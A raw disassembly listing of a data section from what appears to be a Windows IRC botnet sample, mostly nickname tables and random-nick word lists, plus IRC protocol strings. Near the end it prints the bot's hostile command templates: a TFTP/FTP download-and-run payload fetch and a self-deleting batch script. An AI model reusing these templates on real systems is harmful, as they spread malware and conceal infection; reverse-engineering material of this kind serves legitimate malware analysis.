"SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_44F70C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_44F8A0 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" ; char *off_44F244 off_44F244 dd offset aSex_1 ; DATA XREF: sub_418650+41r ; sub_418650+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset aB ; "b" dd offset aC_4 ; "c" dd offset aD_2 ; "d" dd offset aE_0 ; "e" dd offset aF ; "f" dd offset aG ; "g" dd offset asc_44FA58 ; "h" dd offset aI_1 ; "i" dd offset a__11 ; "_" dd offset aJ_1 ; "j" dd offset aK_0 ; "k" dd offset asc_44FA6C ; "l" dd offset aM_2 ; "m" dd offset aN_0 ; "n" dd offset aO_0 ; "o" dd offset aP_0 ; "p" dd offset aQ_0 ; "q" dd offset aRs ; "rs" dd offset aT_0 ; "t" dd offset aU_0 ; "u" dd offset aV_0 ; "v" dd offset aW ; "w" dd offset asc_44FA98 ; "x" dd offset aY ; "y" dd offset aZ ; "z" dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset aZ_0 ; "z" dd offset aG_0 ; "g" dd offset aS_39 ; "s" dd offset aQ_1 ; "q" dd offset aBrb ; "BRB" dd offset aBbl ; "|bbl" dd offset dword_4F2964 dd offset dword_4F2968 dd offset a___0 ; "_|_" dd offset dword_4F296C dd offset dword_4F2970 dd offset dword_4F2974 dd offset dword_4F2978 dd offset aF_0 ; "F" dd offset aM_3 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_1 ; "^^^f^" dd offset aB_0 ; "b" dd offset dword_4F297C dd offset aSleeping ; "Sleeping" dd offset dword_4F2980 dd offset dword_4F2984 dd offset aFuck_0 ; "Fuck" dd offset aFree_0 ; "Free" dd offset dword_4F2988 dd offset dword_4F298C dd offset asc_44FB40 ; "X" dd offset dword_4F2990 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot_0 ; "tot" dd offset aLol ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset a4u ; "|4u|" dd offset a5u ; "5u" dd offset a6u ; "6u" dword_44F3DC dd 71h ; DATA XREF: .data:off_44EF44o dword_44F3E0 dd 77h ; DATA XREF: .data:0044EF48o dword_44F3E4 dd 65h ; DATA XREF: .data:0044EF4Co dword_44F3E8 dd 72h ; DATA XREF: .data:0044EF50o dword_44F3EC dd 74h ; DATA XREF: .data:0044EF54o dword_44F3F0 dd 79h ; DATA XREF: .data:0044EF58o dword_44F3F4 dd 75h ; DATA XREF: .data:0044EF5Co dword_44F3F8 dd 69h ; DATA XREF: .data:0044EF60o dword_44F3FC dd 70h ; DATA XREF: .data:0044EF64o dword_44F400 dd 61h ; DATA XREF: .data:0044EF68o dword_44F404 dd 73h ; DATA XREF: .data:0044EF6Co dword_44F408 dd 64h ; DATA XREF: .data:0044EF70o dword_44F40C dd 66h ; DATA XREF: .data:0044EF74o dword_44F410 dd 67h ; DATA XREF: .data:0044EF78o dword_44F414 dd 68h ; DATA XREF: .data:0044EF7Co dword_44F418 dd 6Ah ; DATA XREF: .data:0044EF80o dword_44F41C dd 6Bh ; DATA XREF: .data:0044EF84o dword_44F420 dd 6Ch ; DATA XREF: .data:0044EF88o dword_44F424 dd 7Ah ; DATA XREF: .data:0044EF8Co dword_44F428 dd 78h ; DATA XREF: .data:0044EF90o dword_44F42C dd 63h ; DATA XREF: .data:0044EF94o dword_44F430 dd 76h ; DATA XREF: .data:0044EF98o dword_44F434 dd 62h ; DATA XREF: .data:0044EF9Co dword_44F438 dd 6Eh ; DATA XREF: .data:0044EFA0o dword_44F43C dd 6Dh ; DATA XREF: .data:0044EFA4o dword_44F440 dd 51h ; DATA XREF: .data:0044EFA8o dword_44F444 dd 57h ; DATA XREF: .data:0044EFACo dword_44F448 dd 45h ; DATA XREF: .data:0044EFB0o dword_44F44C dd 52h ; DATA XREF: .data:0044EFB4o dword_44F450 dd 54h ; DATA XREF: .data:0044EFB8o dword_44F454 dd 59h ; DATA XREF: .data:0044EFBCo dword_44F458 dd 55h ; DATA XREF: .data:0044EFC0o dword_44F45C dd 49h ; DATA XREF: .data:0044EFC4o dword_44F460 dd 4Fh ; DATA XREF: .data:0044EFC8o dword_44F464 dd 50h ; DATA XREF: .data:0044EFCCo dword_44F468 dd 41h ; DATA XREF: .data:0044EFD0o dword_44F46C dd 53h ; DATA XREF: .data:0044EFD4o dword_44F470 dd 44h ; DATA XREF: .data:0044EFD8o dword_44F474 dd 46h ; DATA XREF: .data:0044EFDCo dword_44F478 dd 47h ; DATA XREF: .data:0044EFE0o dword_44F47C dd 48h ; DATA XREF: .data:0044EFE4o dword_44F480 dd 4Ah ; DATA XREF: .data:0044EFE8o dword_44F484 dd 4Bh ; DATA XREF: .data:0044EFECo dword_44F488 dd 4Ch ; DATA XREF: .data:0044EFF0o dword_44F48C dd 5Ah ; DATA XREF: .data:0044EFF4o dword_44F490 dd 58h ; DATA XREF: .data:0044EFF8o dword_44F494 dd 43h ; DATA XREF: .data:0044EFFCo dword_44F498 dd 56h ; DATA XREF: .data:0044F000o dword_44F49C dd 42h ; DATA XREF: .data:0044F004o dword_44F4A0 dd 4Eh ; DATA XREF: .data:0044F008o dword_44F4A4 dd 4Dh ; DATA XREF: .data:0044F00Co aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:0044F010o align 4 aFarooq db 'farooq',0 ; DATA XREF: .data:0044F014o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:0044F018o aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:0044F01Co align 10h aEmilya db 'emilya',0 ; DATA XREF: .data:0044F020o align 4 aKrizha db 'KRIZHA',0 ; DATA XREF: .data:0044F024o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: .data:0044F028o aSwin db 'swin',0 ; DATA XREF: .data:0044F02Co align 10h aMale db 'male',0 ; DATA XREF: .data:0044F030o align 4 aKoko db 'koko',0 ; DATA XREF: .data:0044F034o align 10h aFlexster db 'flexster',0 ; DATA XREF: .data:0044F038o align 4 aKen db 'ken',0 ; DATA XREF: .data:0044F03Co aShez db 'Shez',0 ; DATA XREF: .data:0044F040o align 4 aTalika db 'talika',0 ; DATA XREF: .data:0044F044o align 10h aMarcy db 'marcy',0 ; DATA XREF: .data:0044F048o align 4 aCme db 'cme',0 ; DATA XREF: .data:0044F04Co aHeval db 'heval',0 ; DATA XREF: .data:0044F050o align 4 aBunty db 'bunty',0 ; DATA XREF: .data:0044F054o align 4 aJanno db 'janno',0 ; DATA XREF: .data:0044F058o align 4 aRimpy db 'rimpy',0 ; DATA XREF: .data:0044F05Co align 4 aNastysha db 'nastysha',0 ; DATA XREF: .data:0044F060o align 4 aLuisa db 'Luisa',0 ; DATA XREF: .data:0044F064o align 10h aTroller db 'troller',0 ; DATA XREF: .data:0044F068o aManee db 'manee',0 ; DATA XREF: .data:0044F06Co align 10h aKermit db 'kermit',0 ; DATA XREF: .data:0044F070o align 4 aPuregold db 'puregold',0 ; DATA XREF: .data:0044F074o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .data:0044F078o align 10h aImra db 'imra',0 ; DATA XREF: .data:0044F07Co align 4 aGirl db 'GirL',0 ; DATA XREF: .data:0044F080o align 10h aCamel db 'CAMEL',0 ; DATA XREF: .data:0044F084o align 4 aReshma db 'reshma',0 ; DATA XREF: .data:0044F088o align 10h aKencing db 'Kencing',0 ; DATA XREF: .data:0044F08Co aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:0044F090o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:0044F094o align 10h aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:0044F098o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .data:0044F09Co aHexaaa db 'hexaaa',0 ; DATA XREF: .data:0044F0A0o align 4 aBerk19 db 'berk19',0 ; DATA XREF: .data:0044F0A4o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:0044F0A8o align 4 aIrmal db 'irmal',0 ; DATA XREF: .data:0044F0ACo align 4 aMisssunday db 'misssunday',0 ; DATA XREF: .data:0044F0B0o align 4 aTolga34 db 'Tolga34',0 ; DATA XREF: .data:0044F0B4o aJericho db 'JERICHO',0 ; DATA XREF: .data:0044F0B8o aMary_0 db 'MARY',0 ; DATA XREF: .data:0044F0BCo align 10h aAkin db 'AKIN',0 ; DATA XREF: .data:0044F0C0o align 4 aMelekk db 'melekk',0 ; DATA XREF: .data:0044F0C4o align 10h aTrend3 db 'trend3',0 ; DATA XREF: .data:0044F0C8o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:0044F0CCo align 4 aTekir db 'tekir',0 ; DATA XREF: .data:0044F0D0o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .data:0044F0D4o align 4 aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:0044F0D8o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: .data:0044F0DCo aArzu db 'ARZU',0 ; DATA XREF: .data:0044F0E0o align 4 aHaticem db 'haticem',0 ; DATA XREF: .data:0044F0E4o aErnesto db 'ERNESTO',0 ; DATA XREF: .data:0044F0E8o aAslii db 'aslii',0 ; DATA XREF: .data:0044F0ECo align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:0044F0F0o aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:0044F0F4o align 10h aRetg db 'RETG',0 ; DATA XREF: .data:0044F0F8o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:0044F0FCo align 4 aPelincik db 'pelincik',0 ; DATA XREF: .data:0044F100o align 10h aAhmet db 'ahmet',0 ; DATA XREF: .data:0044F104o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .data:0044F108o align 10h aAnk32m db 'ank32m',0 ; DATA XREF: .data:0044F10Co align 4 aZack db 'ZACK',0 ; DATA XREF: .data:0044F110o align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:0044F114o align 4 aAlbina db 'albina',0 ; DATA XREF: .data:0044F118o align 4 aAyla db 'AYLA-',0 ; DATA XREF: .data:0044F11Co align 4 off_44F70C dd offset byte_457441 ; DATA XREF: .data:0044F120o aAnkh db 'ankh',0 ; DATA XREF: .data:0044F124o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:0044F128o align 4 aBogac db 'bogac',0 ; DATA XREF: .data:0044F12Co align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:0044F130o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:0044F134o align 4 aDenizlim db 'DenizliM',0 ; DATA XREF: .data:0044F138o align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: .data:0044F13Co aDevran db 'devran',0 ; DATA XREF: .data:0044F140o align 10h aArda db 'arda',0 ; DATA XREF: .data:0044F144o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:0044F148o aMurat34M db 'murat34-m',0 ; DATA XREF: .data:0044F14Co align 10h aHakan3 db 'hakan3',0 ; DATA XREF: .data:0044F150o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:0044F154o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: .data:0044F158o align 4 aEmre db 'Emre--',0 ; DATA XREF: .data:0044F15Co align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:0044F160o align 10h aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:0044F164o align 4 aKebikec db 'kebikec',0 ; DATA XREF: .data:0044F168o aFlord db 'FLoRD',0 ; DATA XREF: .data:0044F16Co align 4 aHoly db 'holy',0 ; DATA XREF: .data:0044F170o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: .data:0044F174o aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:0044F178o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .data:0044F17Co align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .data:0044F180o align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:0044F184o align 4 aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:0044F188o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:0044F18Co aKumul db 'kumul',0 ; DATA XREF: .data:0044F190o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .data:0044F194o align 10h aUmut db 'umut-',0 ; DATA XREF: .data:0044F198o align 4 aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:0044F19Co align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: .data:0044F1A0o aAnkar db 'Ankar',0 ; DATA XREF: .data:0044F1A4o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:0044F1A8o align 10h aHayran db 'hayran',0 ; DATA XREF: .data:0044F1ACo align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:0044F1B0o align 4 aKapk db 'kapk',0 ; DATA XREF: .data:0044F1B4o align 4 aAchilles db 'Achilles',0 ; DATA XREF: .data:0044F1B8o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: .data:0044F1BCo align 10h aKotan db 'kotan',0 ; DATA XREF: .data:0044F1C0o align 4 aSevda db 'sevda',0 ; DATA XREF: .data:0044F1C4o align 10h off_44F8A0 dd offset byte_4B5245 ; DATA XREF: .data:0044F1C8o aAlcatras db 'alcatras',0 ; DATA XREF: .data:0044F1CCo align 10h aA44m db 'a44m',0 ; DATA XREF: .data:0044F1D0o align 4 aBirsen db 'birsen',0 ; DATA XREF: .data:0044F1D4o align 10h aYabanc db 'yabanc',0 ; DATA XREF: .data:0044F1D8o align 4 aDevre db 'devre',0 ; DATA XREF: .data:0044F1DCo align 10h aErkan db 'erkan',0 ; DATA XREF: .data:0044F1E0o align 4 aAnkm db 'ankM',0 ; DATA XREF: .data:0044F1E4o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: .data:0044F1E8o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:0044F1ECo align 4 aM41ist db 'M41IST',0 ; DATA XREF: .data:0044F1F0o align 4 aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:0044F1F4o aFirtina db 'firtina',0 ; DATA XREF: .data:0044F1F8o aAta29 db 'Ata29',0 ; DATA XREF: .data:0044F1FCo align 4 aKoray db 'KORAY',0 ; DATA XREF: .data:0044F200o align 4 aAkden db 'akden',0 ; DATA XREF: .data:0044F204o align 4 aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:0044F208o aUla db 'ula',0 ; DATA XREF: .data:0044F20Co aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:0044F210o align 4 aPassenger db 'passenger',0 ; DATA XREF: .data:0044F214o align 4 aTropikal db 'tropikal',0 ; DATA XREF: .data:0044F218o align 4 aCool30m db 'cool30m',0 ; DATA XREF: .data:0044F21Co aCem39 db 'cem39',0 ; DATA XREF: .data:0044F220o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:0044F224o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:0044F228o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:0044F22Co align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .data:0044F230o align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:0044F234o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: .data:0044F238o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:0044F23Co align 10h aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:0044F240o align 4 aSex_1 db 'sex',0 ; DATA XREF: .data:off_44F244o aLez db 'lez',0 ; DATA XREF: .data:0044F248o aZex db 'zex',0 ; DATA XREF: .data:0044F24Co aTree db 'tree',0 ; DATA XREF: .data:0044F250o align 10h aBad db 'bad',0 ; DATA XREF: .data:0044F254o aLag db 'lag',0 ; DATA XREF: .data:0044F258o aTambe db '|tambe|',0 ; DATA XREF: .data:0044F25Co aWoh db '|woh|',0 ; DATA XREF: .data:0044F260o align 4 aTot db '-|tot|',0 ; DATA XREF: .data:0044F264o align 10h aSuck db '|suck|',0 ; DATA XREF: .data:0044F268o align 4 aLuck db '|luck|',0 ; DATA XREF: .data:0044F26Co align 10h aHub db '{hub}',0 ; DATA XREF: .data:0044F270o align 4 aSex_0 db '{sex}',0 ; DATA XREF: .data:0044F274o align 10h aGens db '{gens|',0 ; DATA XREF: .data:0044F278o align 4 aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:0044F27Co align 4 aWiked db '|wiked|',0 ; DATA XREF: .data:0044F280o aSick db 'sick}}',0 ; DATA XREF: .data:0044F284o align 4 aQ8 db 'Q8',0 ; DATA XREF: .data:0044F288o align 4 aQ8A db '|q8|a',0 ; DATA XREF: .data:0044F28Co align 10h aB: ; DATA XREF: .data:0044F290o unicode 0, <b>,0 aC_4: ; DATA XREF: .data:0044F294o unicode 0, <c>,0 aD_2: ; DATA XREF: .data:0044F298o unicode 0, <d>,0 aE_0: ; DATA XREF: .data:0044F29Co unicode 0, <e>,0 aF: ; DATA XREF: .data:0044F2A0o unicode 0, <f>,0 aG: ; DATA XREF: .data:0044F2A4o unicode 0, <g>,0 asc_44FA58: ; DATA XREF: .data:0044F2A8o unicode 0, <h>,0 aI_1: ; DATA XREF: .data:0044F2ACo unicode 0, <i>,0 a__11: ; DATA XREF: .data:0044F2B0o unicode 0, <_>,0 aJ_1: ; DATA XREF: .data:0044F2B4o unicode 0, <j>,0 aK_0: ; DATA XREF: .data:0044F2B8o unicode 0, <k>,0 asc_44FA6C: ; DATA XREF: .data:0044F2BCo unicode 0, <l>,0 aM_2: ; DATA XREF: .data:0044F2C0o unicode 0, <m>,0 aN_0: ; DATA XREF: .data:0044F2C4o unicode 0, <n>,0 aO_0: ; DATA XREF: .data:0044F2C8o unicode 0, <o>,0 aP_0: ; DATA XREF: .data:0044F2CCo unicode 0, <p>,0 aQ_0: ; DATA XREF: .data:0044F2D0o unicode 0, <q>,0 aRs db 'rs',0 ; DATA XREF: .data:0044F2D4o align 4 aT_0: ; DATA XREF: .data:0044F2D8o unicode 0, <t>,0 aU_0: ; DATA XREF: .data:0044F2DCo unicode 0, <u>,0 aV_0: ; DATA XREF: .data:0044F2E0o unicode 0, <v>,0 aW: ; DATA XREF: .data:0044F2E4o unicode 0, <w>,0 asc_44FA98: ; DATA XREF: .data:0044F2E8o unicode 0, <x>,0 aY: ; DATA XREF: .data:0044F2ECo unicode 0, <y>,0 aZ: ; DATA XREF: .data:0044F2F0o unicode 0, <z>,0 aHappy db 'happy',0 ; DATA XREF: .data:0044F2F4o align 4 aRg db 'rg',0 ; DATA XREF: .data:0044F2F8o align 10h aTy db 'ty',0 ; DATA XREF: .data:0044F2FCo align 4 aGf db 'gf',0 ; DATA XREF: .data:0044F300o align 4 aRt db 'rt',0 ; DATA XREF: .data:0044F304o align 4 aSdf db 'sdf',0 ; DATA XREF: .data:0044F308o aUi db 'ui',0 ; DATA XREF: .data:0044F30Co align 4 aLuvy db 'luvy',0 ; DATA XREF: .data:0044F310o align 4 aTrimy db 'trimy',0 ; DATA XREF: .data:0044F314o align 4 aTruck db 'truck',0 ; DATA XREF: .data:0044F318o align 4 aMuckc db 'muckc',0 ; DATA XREF: .data:0044F31Co align 4 aZ_0: ; DATA XREF: .data:0044F320o unicode 0, <z>,0 aG_0: ; DATA XREF: .data:0044F324o unicode 0, <g>,0 aS_39: ; DATA XREF: .data:0044F328o unicode 0, <s>,0 aQ_1: ; DATA XREF: .data:0044F32Co unicode 0, <q>,0 aBrb db 'BRB',0 ; DATA XREF: .data:0044F330o aBbl db '|bbl',0 ; DATA XREF: .data:0044F334o align 10h a___0 db '_|_',0 ; DATA XREF: .data:0044F340o aF_0: ; DATA XREF: .data:0044F354o unicode 0, <F>,0 aM_3: ; DATA XREF: .data:0044F358o unicode 0, <M>,0 aLuvu db 'LUVU',0 ; DATA XREF: .data:0044F35Co align 4 aSad db 'Sad',0 ; DATA XREF: .data:0044F360o aF_1 db '^^^f^',0 ; DATA XREF: .data:0044F364o align 10h aB_0: ; DATA XREF: .data:0044F368o unicode 0, <b>,0 aSleeping db 'Sleeping',0 ; DATA XREF: .data:0044F370o align 10h aFuck_0 db 'Fuck',0 ; DATA XREF: .data:0044F37Co align 4 aFree_0 db 'Free',0 ; DATA XREF: .data:0044F380o align 10h asc_44FB40: ; DATA XREF: .data:0044F38Co unicode 0, <X>,0 aBoy db 'BOY',0 ; DATA XREF: .data:0044F394o aGirl_0 db 'GIRL',0 ; DATA XREF: .data:0044F398o align 10h aGurl db 'gurl',0 ; DATA XREF: .data:0044F39Co align 4 aShit db 'shit',0 ; DATA XREF: .data:0044F3A0o align 10h aAha db 'aha',0 ; DATA XREF: .data:0044F3A4o aYeah db 'yeah',0 ; DATA XREF: .data:0044F3A8o align 4 aMuha db 'muha',0 ; DATA XREF: .data:0044F3ACo align 4 aMof0 db 'mof0',0 ; DATA XREF: .data:0044F3B0o align 4 aMofo db 'mofo',0 ; DATA XREF: .data:0044F3B4o align 4 aTot_0 db 'tot',0 ; DATA XREF: .data:0044F3B8o aLol db 'lol',0 ; DATA XREF: .data:0044F3BCo aLoloA db 'lolo|a|',0 ; DATA XREF: .data:0044F3C0o aSex4free db '|sex4free|',0 ; DATA XREF: .data:0044F3C4o align 10h a4us db '|4us|',0 ; DATA XREF: .data:0044F3C8o align 4 a4you db '{4you}',0 ; DATA XREF: .data:0044F3CCo align 10h a4u db '|4u|',0 ; DATA XREF: .data:0044F3D0o align 4 a5u db '5u',0 ; DATA XREF: .data:0044F3D4o align 4 a6u db '6u',0 ; DATA XREF: .data:0044F3D8o align 10h ; char asc_44FBC0[] asc_44FBC0 db 0Ah,0 ; DATA XREF: sub_4182F9+6o align 4 ; char asc_44FBC4[] asc_44FBC4 db ' ',0 ; DATA XREF: sub_418340+Co align 4 ; char asc_44FBC8[] asc_44FBC8 db ' ',0 ; DATA XREF: sub_418340:loc_418366o align 4 ; char aPing_1[] aPing_1 db 'PING',0 ; DATA XREF: sub_418340+52o align 4 aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_418340+63o align 10h ; char a433[] a433 db '433',0 ; DATA XREF: sub_418340:loc_4183AAo ; char a432[] a432 db '432',0 ; DATA XREF: sub_418340+7Bo ; char aNickS_9[] aNickS_9 db 'NICK %s',0Ah,0 ; DATA XREF: sub_418340+B3o align 4 ; char aNickSUserSHotm[] aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_41842D+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 ; char a__3[] a__3 db '-|`_\{[]}',0 ; DATA XREF: sub_418650+BCo ; sub_418650+175r ... align 10h dword_44FC30 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .text:00418B3Do dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44FC7C dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: .text:00418B7Co dword_44FC98 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: .text:00418BB1o dword_44FCAC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: .text:00418BD8o ; char aSErrorSD_[] aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418E65+72o align 4 aMirc_2 db 'mIRC',0 ; DATA XREF: sub_418F2A+5o align 4 aMirc_3 db 'mIRC',0 ; DATA XREF: sub_418F2A+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418FAF+1Co align 4 aSS_11 db '%s %s',0 ; DATA XREF: .text:00419098o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4190D4+2o ; char aSdel_bat[] aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4190F6+48o align 4 ; char a[] a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4190F6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 ; char aComspecCSS[] aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4190F6+140o align 4 ; char asc_44FD78[] asc_44FD78 db '-' ; DATA XREF: sub_41927E+5Co db 3, 34h, 2 dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h dd 64h unk_44FD94 db 2Dh ; - ; DATA XREF: sub_41927E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 ; char asc_44FDBC[] asc_44FDBC db '-' ; DATA XREF: sub_41927E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .text:004193DEo aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: .text:00419407o db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_419471+58o align 10h aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_419471+65o align 4 off_44FE88 dd offset dword_44FEDC ; DATA XREF: sub_41958E+60r ; sub_419965+51r ... off_44FE8C dd offset aAdded ; DATA XREF: sub_41958E+2Dr ; 